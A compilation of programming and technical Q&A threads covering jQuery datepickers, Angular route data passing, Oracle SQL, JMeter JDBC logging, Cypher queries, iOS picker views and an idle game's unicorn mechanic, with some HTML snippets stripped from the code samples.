        $(this).prev("[id^='from']").datepicker("option", "maxDate", selectedDate);
    }
});

A: If it's not the immediate sibling, but still a sibling, you can use nextAll() to find all the next siblings matching the selector, and then first() to get the first one, which will be the one closest to the current datepicker, like so:
$("[id^='from']").datepicker({
    defaultDate: "+1w",
    numberOfMonths: 1,
    onClose: function(selectedDate)
    {
        $(this).nextAll("[id^='to']")
               .first()
               .datepicker("option", "minDate", selectedDate);
    }
});

And there's a prevAll() for going the opposite way etc.


text:
Q: What can I do with a unicorn? I just got a Unicorn and I don't know how/why I got it.
How did I get it and what can I do with them?
I did get an achievement   Achievement unlocked: Unicorn Conspiracy!
And it says, Lift the shroud of the Unicorn Conspiracy!

A: You can build a Unicorn Pasture (at the bonfire, if you have two unicorns)! This will reduce your catnip consumption by 0.15% for each (unicorn) pasture you have. And even better, there are coming little unicorns from that pasture (0.001 per pasture per tick), so you have an infinite amount of unicorns! How awesome is that?!

A: Obtaining a unicorn for the first time provides a permanent +10% to happiness, you'll be able to create Unicorn pastures which will generate more unicorns for you. Unicorns are eventually used for procuring late game resources.
You can obtain Unicorns by sending out hunters, once you have two of them you can start dealing with Unicorn Pastures

A: Your hunters have a chance to find unicorns when you send them out for resources.  Unlike the other rare resources they find, furs and ivory, unicorns don't deplete over time.  Initially, the only thing you'll be able to do with Unicorns is make Unicorn Pastures. As the other answers have already said, this will give a small amount of Catnip consumption reduction, and also generate additional Unicorns. And just having Unicorns at all gives +10% happiness, which is basically a free +10% production. But, like almost all things in this game, they have more than one use.
The real benefit of Unicorns, though, comes much later. When you research Theology, you will unlock Priests, the Faith resource, and the Religion tab. If you also at this point build a Ziggurat (costs Megaliths, Scaffolds, and Blueprints), a second section opens up. Here, you will gain the ability to Sacrifice Unicorns, returning them to the Unicorn Dimension in exchange for Unicorn Tears. Each sacrifice gives one Tear per Ziggurat owned. There are then a series of buildings available in the Ziggurat section of the Religion tab, each built using Ivory and Tears. These buildings will increase your Unicorn production, and unlock events similar to the Meteors which give free Unicorns and Ivory.
The last building in this section, the Sky Palace, gives a very small chance once built for you to randomly find Alicorns, a variant of Unicorns. Alicorns have the same basic +10% happiness effect, and can be sacrificed for Time Crystals. Time Crystals are required to research Chronophysics, which... doesn't do anything right now. The game's still in development, but ultimately, Time Crystals are meant to be a late-game resource, used in most of the things unlocked by Chronophysics, and the only way to get them will be through the Unicorn-related religion buildings.


text:
Q: Prestashop shopping cart I have recently implemented an online store in prestashop. After installing and testing a payment gateway I then uninstalled and disabled modules that i dont use. Now i have a bit of a bizarre problem.

*

*I can only add 1 item to the shopping cart. When I try to add more than one item nothing happens and there are no javascript errors.

*When I navigate away from the page where I added items to the cart. The cart goes from

Cart : 1 product

To

Cart : (empty)

Has anyone ever encountered this problem in Prestashop 1.5.2.0 ?
Could it be a module I disabled or a PHP configuration problem.
Thanks in advance

A: It sounds like a problem with sessions. You could do a quick test to check that sessions are supported in your environment.
session_start();
if($_SESSION['test']==1)
{
    echo 'It worked. My Session ID is '.session_id();
}
$_SESSION['test']=1;

A: Seems like this was a cookie related issue. Managed to solve it by just clearing cookies or running the browser in incognito. Will log this issue with the developers

A: You can also clear the compiled smarty cache in your PrestaShop files.


text:
Q: select as DML Command I know for a fact that select is dml command because of
select * into new_table from old_table
in SQL server how can i write equivalent query in oracle for showing select is a dml operation.

A: SELECT is a Data Manipulation Language (DML) statement according to the Oracle SQL Language Reference:

The SELECT statement is a limited form of DML statement in that it can
  only access data in the database. It cannot manipulate data stored in
  the database, although it can manipulate the accessed data before
  returning the results of the query.

It's common to colloquially treat SELECT as separate from DML because in practice they generally do different things; SELECT reads data and DML writes data.  But there are some important cases where a SELECT statement can act like DML:

*

*SELECT some_function() FROM DUAL; This SELECT calls a function that could potentially change data.  This is usually a bad idea, but it's possible if the function is created with PRAGMA AUTONOMOUS TRANSACTION;.

*SELECT * FROM TABLE FOR UPDATE; This SELECT locks rows in the table and starts a transaction.  It doesn't change any data but it can certainly affect other processes that
are trying to modify data.

Also, per the Oracle manual there are six types of statements:

*

*Data Definition Language (DDL) Statements
ADMINISTER KEY MANAGEMENT, ALTER (except ALTER SESSION and ALTER SYSTEM),
ANALYZE,ASSOCIATE STATISTICS,AUDIT,COMMENT,CREATE,DISASSOCIATE STATISTICS,
DROP,FLASHBACK,GRANT,NOAUDIT,PURGE,RENAME,REVOKE,TRUNCATE

*Data Manipulation Language (DML) Statements
CALL,DELETE,EXPLAIN PLAN,INSERT,LOCK TABLE,MERGE,SELECT,UPDATE

*Transaction Control Statements
COMMIT,ROLLBACK,SAVEPOINT,SET TRANSACTION,SET CONSTRAINT

*Session Control Statements
ALTER SESSION,SET ROLE

*System Control Statement
ALTER SYSTEM

*Embedded SQL Statements
SQL statements inside a procedural language program.

If you want to fully classify a SQL statement programmatically, like I've done in this program,
 then "Embedded SQL Statements" doesn't make much sense and almost nobody uses them anymore.  And in practice it would be useful to have an additional category for

*PL/SQL
Statements run through anonymous blocks.

Although SQL and PL/SQL are not the same thing, in practice they can both be treated as types of statements since they can both be executed in the same contexts. Especially with 12c, where PL/SQL and SQL can be embedded in each other.

A: Database operations can be categorized into three:

*

*DDL (Data Definition Language). It is typically used to create tables, indexes, views etc.

*DML (Data Manipulation language). As name suggests the commands are typically used to insert, update or delete the data from existing tables.

*SQL (Structured Query Language). It is primarily used to query the tables

*Also there is 4th one called DCL (Data Control Language). It is primarily to grant and revoke permissions.

Also theoretically DDL, DML and DCL are considered to be subset of SQL.
If the old table and new table already exists and structures are same, then you can use insert into new_table select * from old_table.
If the table does not exists, you can use CTAS - create table new_table as select * from old_table


text:
Q: Unity AR Foundation object anchor problem I am new on unity ar foundation and I am trying to create simple screen that when camera looks to the target image, my object will be visible at that point and some other objects will be visible according to first object position (referans point).
When camera looks the target image, my object becomes visible but when I move camera, object also moves with camera direction as well like that; check here to see video
What can I do to keep object always at the same point even camera moves (even it can be render once -no update-).. any advise ? Thanks

A: Which AR platform do you working on? (ARKit & ARCore) You don't need an anchor if you use the tracked image. Because it is already an anchor. Update your game object transform if only if tracked image anchor tracking state is tracking & limited. Also the image you provided has few trackable features. You should test your code with an image that has more features than the current image.  Also setting the image's physical size correctly greatly improves tracking.


text:
Q: How do I pass data to Angular routed components? In one of my Angular 2 routes's templates (FirstComponent) I have a button
first.component.html

Pass data and route

My goal is to achieve:

Button click -> route to another component while preserving data and without using the other component as a directive.

This is what I tried...
1ST APPROACH
In the same view I am storing collecting same data based on user interaction.
first.component.ts
export class FirstComponent {
     constructor(private _router: Router) { }

     property1: number;
     property2: string;
     property3: TypeXY; // this a class, not a primitive type

    // here some class methods set the properties above

    // DOM events
    routeWithData(){
         // here route
    }
}

Normally I'd route to SecondComponent by
 this._router.navigate(['SecondComponent']);

eventually passing the data by
 this._router.navigate(['SecondComponent', {p1: this.property1, p2: property2 }]);

whereas the definition of the link with parameters would be
@RouteConfig([
      // ...
      { path: '/SecondComponent/:p1:p2', name: 'SecondComponent', component: SecondComponent}
)]

The issue with this approach is that I guess I can't pass complex data (e.g. an object like property3) in-url;
2ND APPROACH
An alternative would be including SecondComponent as directive in FirstComponent.
  <SecondComponent [p3]="property3"></SecondComponent>

However I want to route to that component, not include it!
3RD APPROACH
The most viable solution I see here would be to use a Service (e.g. FirstComponentService) to

*

*store the data (_firstComponentService.storeData()) on routeWithData() in FirstComponent

*retrieve the data (_firstComponentService.retrieveData()) in ngOnInit() in SecondComponent
While this approach seems perfectly viable, I wonder whether this is the easiest / most elegant way to achieve the goal.
In general I'd like to know whether I'm missing other potential approaches to pass the data between components, particularly with the less possible amount of code

A: Routes:
{ path: 'foo-route', component: FooComponent, data: { myData: false } },

In component access the data object once:
pipe(take(1)) unsubsrcibes immediately so there is no memory leak and no need to manually unsubscribe
constructor(private activatedRoute: ActivatedRoute) { ... }

ngOnInit(): void {
  this.activatedRoute.data.pipe(take(1)).subscribe((data) => {
    console.log(data); // do something with the data
  });
}

*

*remember to import needed stuff

Edit: the new firstValueFrom() could be better

A: I think since we don't have $rootScope kind of thing in angular 2 as in angular 1.x. We can use angular 2 shared service/class while in ngOnDestroy pass data to service and after routing take the data from the service in ngOnInit function:
Here I am using DataService to share hero object:
import { Hero } from './hero';
export class DataService {
  public hero: Hero;
}

Pass object from first page component:
 ngOnDestroy() {
    this.dataService.hero = this.hero;
 }

Take object from second page component:
 ngOnInit() {
    this.hero = this.dataService.hero;
 }

Here is an example: plunker

A: Angular 7.2.0 introduced new way of passing the data when navigating between routed components:
@Component({
  template: `<a (click)="navigateWithState()">Go</a>`,
})
export class AppComponent  {
  constructor(public router: Router) {}
  navigateWithState() {
    this.router.navigateByUrl('/123', { state: { hello: 'world' } });
  }
}

Or:
@Component({
  selector: 'my-app',
  template: `
  Go`,
})
export class AppComponent  {}

To read the state, you can access window.history.state property after the navigation has finished:
export class PageComponent implements OnInit {
  state$: Observable<object>;

  constructor(public activatedRoute: ActivatedRoute) {}

  ngOnInit() {
    this.state$ = this.activatedRoute.paramMap
      .pipe(map(() => window.history.state))
  }
}

A: 3rd approach is most common way to share data between components. you may inject the item service which you want to use in related component.
import { Injectable } from '@angular/core';
import { Predicate } from '../interfaces'

import * as _ from 'lodash';

@Injectable()
export class ItemsService {

    constructor() { }

    removeItemFromArray<T>(array: Array<T>, item: any) {
        _.remove(array, function (current) {
            //console.log(current);
            return JSON.stringify(current) === JSON.stringify(item);
        });
    }

    removeItems<T>(array: Array<T>, predicate: Predicate<T>) {
        _.remove(array, predicate);
    }

    setItem<T>(array: Array<T>, predicate: Predicate<T>, item: T) {
        var _oldItem = _.find(array, predicate);
        if(_oldItem){
            var index = _.indexOf(array, _oldItem);
            array.splice(index, 1, item);
        } else {
            array.push(item);
        }
    }

    addItemToStart<T>(array: Array<T>, item: any) {
        array.splice(0, 0, item);
    }

    getPropertyValues<T, R>(array: Array<T>, property : string) : R
    {
        var result = _.map(array, property);
        return <R><any>result;
    }

    getSerialized<T>(arg: any): T {
        return <T>JSON.parse(JSON.stringify(arg));
    }
}

export interface Predicate<T> {
    (item: T): boolean
}

A:
Pass data and route

well the easiest way to do it in angular 6 or other versions I hope is to simply to define your path with the amount of data you want to pass
{path: 'detailView/:id', component: DetailedViewComponent}

as you can see from my routes definition, I have added the /:id to stand to the data I want to pass to the component via router navigation. Therefore your code will look like
view

in order to read the id on the component, just import ActivatedRoute  like
import { ActivatedRoute } from '@angular/router'

and on the ngOnInit is where you retrieve the data
ngOnInit() {
       this.sub = this.route.params.subscribe(params => {
        this.id = params['id'];
        });
        console.log(this.id);
      }

you can read more in this article
https://www.tektutorialshub.com/angular-passing-parameters-to-route/

A: I looked at every solution (and tried a few) from this page but I was not convinced that we have to kind of implement a hack-ish way to achieve the data transfer between route.
Another problem with simple history.state is that if you are passing an instance of a particular class in the state object, it will not be the instance while receiving it. But it will be a plain simple JavaScript object.
So in my Angular v10 (Ionic v5) application, I did this-
this.router.navigateByUrl('/authenticate/username', {
    state: {user: new User(), foo: 'bar'}
});

And in the navigating component ('/authenticate/username'), in ngOnInit() method, I printed the data with this.router.getCurrentNavigation().extras.state-
ngOnInit() {
    console.log('>>authenticate-username:41:',
        this.router.getCurrentNavigation().extras.state);
}

And I got the desired data which was passed-

A: Pass using JSON

         sample Link

A: use a shared service to store data with a custom index. then send that custom index with queryParam. this approach is more flexible.
// component-a : typeScript :
constructor( private DataCollector: DataCollectorService ) {}

ngOnInit() {
    this.DataCollector['someDataIndex'] = data;
}

// component-a : html :

.
// component-b : typeScript :
public data;

constructor( private DataCollector: DataCollectorService ) {}

ngOnInit() {
    this.route.queryParams.subscribe(
        (queryParams: Params) => {
            this.data = this.DataCollector[queryParams['index']];
        }
    );
}

A: Update 4.0.0
See Angular Angular Router - Fetch data before navigating for more details.
Original
Using a service is the way to go. In route params you should only pass data that you want to be reflected in the browser URL bar.
See Angular Angular Cookbook Component Communication - Bidirectional Service.
The router shipped with RC.4 re-introduces data
constructor(private route: ActivatedRoute) {}

const routes: RouterConfig = [
  {path: '', redirectTo: '/heroes', pathMatch: 'full'},
  {path: 'heroes', component: HeroDetailComponent, data: {some_data: 'some value'}}
];

class HeroDetailComponent {
  ngOnInit() {
    this.sub = this.route
      .data
      .subscribe(v => console.log(v));
  }

  ngOnDestroy() {
    this.sub.unsubscribe();
  }
}

See also the Plunker.

A: It is 2019 and many of the answers here would work, depending on what you want to do. If you want to pass in some internal state not visible in URL (params, query) you can use state since 7.2 (as I have learned just today :) ).
From the blog (credits Tomasz Kula) - you navigate to route....
...from ts: this.router.navigateByUrl('/details', { state: { hello: 'world' } });
...from HTML template: Go
And to pick it up in the target component:
constructor(public activatedRoute: ActivatedRoute) {}

  ngOnInit() {
    this.state$ = this.activatedRoute.paramMap
      .pipe(map(() => window.history.state))
  }

Late, but hope this helps someone with recent Angular.

A: I this the other approach not good for this issue.
I thing the best approach is Query-Parameter by Router angular that have 2 way:

Passing query parameter directly

With this code you can navigate to url by params in your html code:

Passing query parameter by Router

You have to inject the router within your constructor like:
constructor(private router:Router){

}

Now use of that like:
goToPage(pageNum) {
    this.router.navigate(['/product-list'], { queryParams: { serviceId: serviceId} });
}

Now if you want to read from Router in another Component you have to use of ActivatedRoute like:
constructor(private activateRouter:ActivatedRouter){

}

and subscribe that:
  ngOnInit() {
    this.sub = this.route
      .queryParams
      .subscribe(params => {
        // Defaults to 0 if no query param provided.
        this.page = +params['serviceId'] || 0;
      });
  }

A: Some super smart person (tmburnell) that is not me suggests re-writing the route data:
let route = this.router.config.find(r => r.path === '/path');
route.data = { entity: 'entity' };
this.router.navigateByUrl('/path');

As seen here in the comments.
I hope someone will find this useful

A: say you have

*

*component1.ts

*component1.html

and you want to pass data to component2.ts.

*

*in component1.ts is a variable with data say
  //component1.ts
  item={name:"Nelson", bankAccount:"1 million dollars"}

  //component1.html
   //the line routerLink="/meter-readings/{{item.meterReadingId}}" has nothing to
  //do with this , replace that with the url you are navigating to

    View

  //component2.ts
  import { ActivatedRoute} from "@angular/router";
  import 'rxjs/add/operator/filter';

  /*class name etc and class boiler plate */
  data:any //will hold our final object that we passed
  constructor(
  private route: ActivatedRoute,
  ) {}

 ngOnInit() {

 this.route.queryParams
  .filter(params => params.reading)
  .subscribe(params => {
  console.log(params); // DATA WILL BE A JSON STRING- WE PARSE TO GET BACK OUR
                       //OBJECT

  this.data = JSON.parse(params.item) ;

  console.log(this.data,'PASSED DATA'); //Gives {name:"Nelson", bankAccount:"1
                                        //million dollars"}
   });
  }

A: You can use BehaviorSubject for sharing data between routed components.
A BehaviorSubject holds one value. When it is subscribed it emits the value immediately. A Subject doesn't hold a value.
In the service.
@Injectable({
  providedIn: 'root'
})
export class CustomerReportService extends BaseService {
  reportFilter = new BehaviorSubject<ReportFilterVM>(null);
  constructor(private httpClient: HttpClient) { super(); }

  getCustomerBalanceDetails(reportFilter: ReportFilterVM): Observable<Array<CustomerBalanceDetailVM>> {
    return this.httpClient.post<Array<CustomerBalanceDetailVM>>(this.apiBaseURL + 'CustomerReport/CustomerBalanceDetail', reportFilter);
  }
}

In the component you can subscribe to this BehaviorSubject.
this.reportService.reportFilter.subscribe(f => {
      if (f) {
        this.reportFilter = f;
      }
    });

Note: Subject won't work here, Need to use Behavior Subject only.

A: By default i won't use a guard for this one for me it is more can i enter the route or can i leave it. It is not to share data betweenn them.
If you want to load data before we entered a route just add an resolver to this one this is also part of the Router.
As very basic example:
Resolver
import { Resolve, ActivatedRoute } from "@angular/router";
import { Observable } from "rxjs";
import { Injectable } from "@angular/core";
import { take } from "rxjs/operators";

@Injectable()
export class UserResolver implements Resolve<User> {

    constructor(
        private userService: UserService,
        private route: ActivatedRoute
    ) {}

    resolve(): Observable<firebase.User> {
        return this.route.params.pipe(
            switchMap((params) => this.userService.fetchUser(params.user_id)),
            take(1)
        );
    }
}

put to the router:
RouterModule.forChild([
{
    path: "user/:user_id",
    component: MyUserDetailPage,
    resolve: {
        user: UserResolver
    }
  }
}]

get the data in our component
ngOnInit() {
    const user: firebase.User = this.activatedRoute.snapshot.data.user;
}

The downside on this approach is, he will enter the route first if he get the user data not before, this ensures the data for the user has been loaded and is ready on start of the component, but you will stay on the old page as long the data has been loaded (Loading Animation)

A: Solution with ActiveRoute (if you want pass object by route - use JSON.stringfy/JSON.parse):
Prepare object before sending:
export class AdminUserListComponent {

  users : User[];

  constructor( private router : Router) { }

  modifyUser(i) {

    let navigationExtras: NavigationExtras = {
      queryParams: {
          "user": JSON.stringify(this.users[i])
      }
    };

    this.router.navigate(["admin/user/edit"],  navigationExtras);
  }

}

Receive your object in destination component:
export class AdminUserEditComponent  {

  userWithRole: UserWithRole;

  constructor( private route: ActivatedRoute) {}

  ngOnInit(): void {
    super.ngOnInit();

      this.route.queryParams.subscribe(params => {
        this.userWithRole.user = JSON.parse(params["user"]);
      });
  }

}

A: One fine solution is to implement a Guard with canActivate method. In this scenario you can fetch data from a given api and let user access the component describe in the routing file. In the meantime one can set the data property of the route object and retrieve it in the component.
Let say you have this routing conf:
const routes: Routes = [
    { path: "/:projectName", component: ProjectComponent, canActivate: [ProjectGuard] }
]`

in your guard file you may have:
canActivate(next: ActivatedRouteSnapshot,state: RouterStateSnapshot)
: Observable<boolean> | Promise<boolean> | boolean {
return this.myProjectService.getProject(projectNameFoundElsewhere).pipe(
  map((project) => {
    if (project) {
      next.data = project;
    }
    return !!project;
  }),
);

}`
Then in your component
constructor(private route: ActivatedRoute) {
    this.route.data.subscribe((value) => (this.project = value));
}

This way is a bit different than passing via a service since service keep the value in a behaviorSubject as long as it is not unset. Passing via tha guard make the data available for the current route. I havent check if the children routes keep the data or not.

A: In scenario where data needs to be passed to another Route, best and simplest solution is using { window.localStorage }. Also, do not remember to remove data from local storage once its use is over.
I used ngOnDestroy's destroy() method to clean up this data.
This also resolves a problem where data is lost by page refresh.

A: If you have a formula collection which handles a couple of ng components which are basely build on a collection / array of class objects hold approx. 10 props e.g. include input values, nominal value and at least units and Booleans …, so to keep the page status (input+results) ends into duplicate a lot of stuff.
Therefore, I simulate a routing by using *ngif to display the related parts (component s) of the single page but never change the url.

... All part of ComponetA
  >

CpmponetA.html

... All part of ComponetB
  >

CpmponetB.html
This Boolean will be set inside the relate code of the component:
@Input()visibleComponentA: boolean = true;

ComponetA.ts
Now in the top page

ComponentA

ComponentB

app.component.html
and the method OnClickNav(Selected:NavFlags) switching the correct visible status of the component.
OnClickNav(Selected:NavFlags){

    Selected.NavStatus=!Selected.NavStatus

    Selected.NavItem=='visibleComponetA'? this.visibleComponetA.NavStatus=Selected.NavStatus: this.visibleComponetA.NavStatus= false;
    Selected.NavItem=='visibleComponetB'? this.visibleComponetB.NavStatus=Selected.NavStatus: this.visibleComponetB.NavStatus= false;

app.commonet.ts
The class NavFlags is simple
export class NavFlags {
  NavItem: string = '';
  NavStatus: boolean = false;

  constructor(NavItem: string, NavStatus: boolean) {
    this.NavItem = NavItem;
    this.NavStatus = NavStatus;
  }
}

nav-flags.ts
By this the "individual" pages will not leave an no data are lost. I have no duplicated store.
The complete example can be visit on https://angulartool.de.
By clicking the button, it is possible to navigate through the page in components without loss of data.
This hack is not perfect, so maybe there will be better way to solve this angular matter.


text:
Q: How to extends ViewOptions from Openlayers package I have an interface and I want to extend ViewOptions but I can not find where it is in the package ol.
Someone can indicate me where the ViewOptions is ?

A: When working with the ol package, you do not need to do anything to add options. This is also why the externs/olx.js file is not part of the package.
So what you do is just pass your custom additional option to your View subclass's constructor, and use it. Something like:
import View from 'ol/view';
import ol from 'ol';

var CustomView = function(options) {
  this.customOption = options.customOption;
}
ol.inherits(CustomView, View);

var myView = new CustomView({customOption: 'foo'});
console.log(myView.customOption); // > 'foo'


text:
Q: Parse.com Cloud Code with moment.js plugin I'm trying to use a moment.js plugin (specifically moment-range.js) with Parse in Cloud Code. I can't seem to import it properly for the features of moment-range to work.
My main.js looks like:

var moment = require("cloud/moment.js");
require("cloud/moment-range.js");

I get the error:
TypeError: Cannot call method 'overlaps' of undefined

When trying to use the method overlaps of a null moment.range object.
How can I properly import moment-range.js?

A: require('moment-range').range;


text:
Q: How to log JDBC response errors in JMeter I want to debug a script that connects to a few JDBC Connections and fires JDBC Requests at them. While it is broken the output might look like this:
summary +     34 in 00:00:08 =    4.0/s Avg:  3890 Min:   399 Max:  7535 Err:    34 (100.00%) Active: 32 Started: 32 Finished: 0
summary +    146 in 00:00:30 =    4.8/s Avg:  6443 Min:   199 Max: 13358 Err:   146 (100.00%) Active: 32 Started: 32 Finished: 0
summary =    180 in 00:00:39 =    4.7/s Avg:  5961 Min:   199 Max: 13358 Err:   180 (100.00%)
summary +    136 in 00:00:28 =    4.9/s Avg:  6828 Min:   196 Max: 13008 Err:   136 (100.00%) Active: 0 Started: 32 Finished: 32
summary =    316 in 00:01:07 =    4.7/s Avg:  6334 Min:   196 Max: 13358 Err:   316 (100.00%)

I see a 100% error rate. So these errors must appear somewhere. But I haven't been able to figure it out. Things I have tried:

*

*Adding a diverse set of loggers to Log4j2.xml like <Logger name="org.apache.jmeter.protocol.jdbc" level="info" />.

*Adding -Llog_level.jmeter.protocol.jdbc=TRACE and/or -LALL to my jmeter command

I get thousands of log lines in jmeter.log, but none of them even mention an error. While the script is running, they look e.g. like this:
2021-04-01 16:15:17,217 DEBUG o.a.j.c.GenericController: Calling next on: class org.apache.jmeter.control.GenericController
2021-04-01 16:15:17,217 DEBUG o.a.j.c.GenericController: Calling next on: class org.apache.jmeter.control.GenericController
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Preparing class org.apache.jmeter.protocol.jdbc.sampler.JDBCSampler
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting dataSource=CSDISCO
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Ignoring property 'integerQueryTimeout' in org.apache.jmeter.protocol.jdbc.sampler.JDBCSampler
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Ignoring property 'integerResultSetMaxRows' in org.apache.jmeter.protocol.jdbc.sampler.JDBCSampler
2021-04-01 16:15:17,217 DEBUG o.a.j.t.p.AbstractProperty: Running version, executing function
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting query=select * from trable;
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting queryArguments=
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting queryArgumentsTypes=
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting queryTimeout=
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting queryType=Select Statement
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting resultSetHandler=Store as String
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting resultSetMaxRows=
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting resultVariable=
2021-04-01 16:15:17,217 DEBUG o.a.j.t.TestBeanHelper: Setting variableNames=

This repeats over and over. I can't understand how hard it is to get a simple error message out of Jmeter.

A: Looking into JDBC Request sampler source code:
try {
    if (JOrphanUtils.isBlank(getDataSource())) {
        throw new IllegalArgumentException("Name for DataSoure must not be empty in " + getName());
    }

    try {
        conn = DataSourceElement.getConnection(getDataSource());
    } finally {
        res.connectEnd();
    }
    res.setResponseHeaders(DataSourceElement.getConnectionInfo(getDataSource()));
    res.setResponseData(execute(conn, res));
} catch (SQLException ex) {
    final String errCode = Integer.toString(ex.getErrorCode());
    res.setResponseMessage(ex.toString());
    res.setResponseCode(ex.getSQLState()+ " " +errCode);
    res.setResponseData(ex.getMessage(), res.getDataEncodingWithDefault());
    res.setSuccessful(false);
} catch (Exception ex) {
    res.setResponseMessage(ex.toString());
    res.setResponseCode("000");
    res.setResponseData(
            ObjectUtils.defaultIfNull(ex.getMessage(), "NO MESSAGE"),
            res.getDataEncodingWithDefault());
    res.setSuccessful(false);
} finally {
    close(conn);
}

The exception message is being added as the response message so it'll be present in the .jtl results file
So if you open this file using text viewer of your choice - you will see the error messages there.
If you need to see them in STDOUT - you can add a JSR223 Listener and use the code like:
if (!prev.isSuccessful()) {
    println('Sampler ' + prev.getSampleLabel() + ' failed with ' + prev.getResponseMessage())
}

Where prev stands for the previous SampleResult, see the JavaDoc for all available functions and Top 8 JMeter Java Classes You Should Be Using with Groovy article for more information on JMeter API shorhands available for the JSR223 Test Elements


text:
Q: how to write a cypher statement to find out first match node i want I have nodes like this:
 (a {export:true})->(b {export:false})->(c {export:false})->
 .....some other nodes with export field is false->
 (d {export:true})->(e {export:true})

Now I only want to find out a and d, which have a relationship
(a {export:true})-->(b {expor:true})

I write some cypher statements, but can not work, they will return a->d and a->e. do somebody knows how to write a cypher statement that can work like I want?
thanks you

A: Answer A
The following query returns all connected export:true node pairs separated by 0 or more nodes that all contain export:false.
MATCH p=(a { export:true })-[*]->(b { export:true })
WHERE
  LENGTH(p) = 1 OR
  ALL (x IN NODES(p)[1..LENGTH(p)-1] WHERE NOT x.export)
RETURN a, b;

Note: LENGTH(p) returns the number of relationships in path p.
Answer B
Answer A can actually be simplified by removing the LENGTH(p) = 1 test:
MATCH p=(a { export:true })-[*]->(b { export:true })
WHERE ALL (x IN NODES(p)[1..LENGTH(p)-1] WHERE NOT x.export)
RETURN a, b;

But why this simplified query also works requires more of an explanation. If LENGTH(p) is 1, then:

*

*NODES(p)[1..0] results in [], and

*ALL(x IN [] WHERE ...) results in true (no matter what ... is).


text:
Q: Sufficient condition for convergence in distribution in the plane I'm trying to show convergence in distribution for a sequence $X_n$ of random variables in the plane. Here's what I know.  I have a sort of squeeze theorem for the probability of the r.v.s being in a rectangle of diameter $\epsilon$.  I have
$$
 f_n(\epsilon,x,y) \leq \mathbb{P}\big(X_n \in (x, x+\epsilon)\times(y,y+\epsilon)\big) \leq g_n(\epsilon,x,y),
$$
where
$$
f_n(\epsilon,x,y) \underset{n\to\infty}{\longrightarrow} F(x,y) (1-o(\epsilon)) h(\epsilon),
$$
$$
g_n(\epsilon,x,y) \underset{n\to\infty}{\longrightarrow} F(x,y) h(\epsilon),
$$
and where $h$ is $o(\epsilon)$ and $F$ is continuous.
I know more about these functions of course, I'm just trying to make the problem as abstract as possible so as to not bog readers down in the specifics of my model.
I want to conclude that I have weak convergence of $X_n$ to a r.v. with density $F(x,y)$.  Is this possible with what I have?  What else would I need?
Thanks for any help you can offer!


text:
Q: How to set the text alignment in picker view iOS I need to set the alignment of the text in picker view but my solutions doesn't work.
This is my code so far. I used array to store values on the picker view.
- (void)viewDidLoad{

[super viewDidLoad];

self.source = [[NSMutableArray alloc]
               initWithObjects:@"  5   Minutes", @"10   Minutes", @"15   Minutes", @"20   Minutes",@"25   Minutes",@"30   Minutes",@"35   Minutes",@"40   Minutes",@"45   Minutes",@"50   Minutes",@"55   Minutes",@"60   Minutes", nil];

self.picker = [[UIPickerView alloc] initWithFrame:CGRectMake(0.0, 275.0, 320.0, 120.0)];

self.picker.delegate = self;
self.picker.dataSource = self;

[self.view addSubview:self.picker];
[self.picker selectRow:2 inComponent:0 animated:YES];}

then,
- (NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component {
return [source objectAtIndex:row];
}

- (NSInteger)numberOfComponentsInPickerView:
(UIPickerView *)pickerView
{
 return 1;
}

- (NSInteger)pickerView:(UIPickerView *)pickerView
numberOfRowsInComponent:(NSInteger)component
{
return [source count];
}

However, it works fine when it displays the values. But when I align the text at the center,  instead of displaying the text(values on picker view), the picker view becomes empty. This is the code on how I've done the alignment at the center.
- (UIView *)pickerView:(UIPickerView *)pickerView viewForRow:(NSInteger)row forComponent:(NSInteger)component
reusingView:(UIView *)view
{
UILabel *label = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 300, 37)];
 //label.text = [NSString stringWithFormat:@"something here"];
label.textAlignment = UITextAlignmentCenter;
label.backgroundColor = [UIColor clearColor];
return label;
}

What might be the solution for this?
Please help me regarding this problem.
Thanks.

A: i done with this code for UIlabel text show in center of tableView like:-
- (UIView *)pickerView:(UIPickerView *)pickerView viewForRow:(NSInteger)row forComponent:(NSInteger)component reusingView:(UIView *)view
{
UILabel *label = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 300, 37)];

        if (component == 0) {

            label.font=[UIFont boldSystemFontOfSize:22];
            label.textAlignment = UITextAlignmentCenter;
            label.backgroundColor = [UIColor clearColor];

        label.text = [NSString stringWithFormat:@"%@", [source objectAtIndex:row]];
        label.font=[UIFont boldSystemFontOfSize:22];

        }
    [label autorelease];
    return label;
 }

Code output is

A: For swift 3 we can use
label.textAlignment = NSTextAlignment.center

A: use this code instead of your code..
-(UIView *)pickerView:(UIPickerView *)pickerView viewForRow:(NSInteger)row forComponent:(NSInteger)component reusingView:(UIView *)view{

    UIView *viewTemp = [[[UIView alloc]initWithFrame:CGRectMake(0, 0, 300, 44)]autorelease];
    [viewTemp setBackgroundColor:[UIColor clearColor]];

    UILabel *lbl = [[[UILabel alloc]initWithFrame:CGRectMake(5, 0, 300, 37)]autorelease];
    [lbl setBackgroundColor:[UIColor clearColor]];
    [lbl setFont:[UIFont boldSystemFontOfSize:22]];
    lbl.text = @"Some Text";
    [lbl setTextAlignment:UITextAlignmentCenter];
    [viewTemp addSubview:lbl];
    return viewTemp;
}

Here i return one UIView in which i add UILable see above code so your whole view display with UILable properly and also set backGroundColor of UIView is clear so its display layout of UIPickerView.
I also display star like text in this UIPickerView.
See images Bellow..

A: Try this:
label.textAlignment = NSTextAlignmentCenter;


text:
Q: how to increment the datetime value with the increment value as 30 minutes in oracle? how to increment the datetime value with the increment value as 30 minutes in oracle?
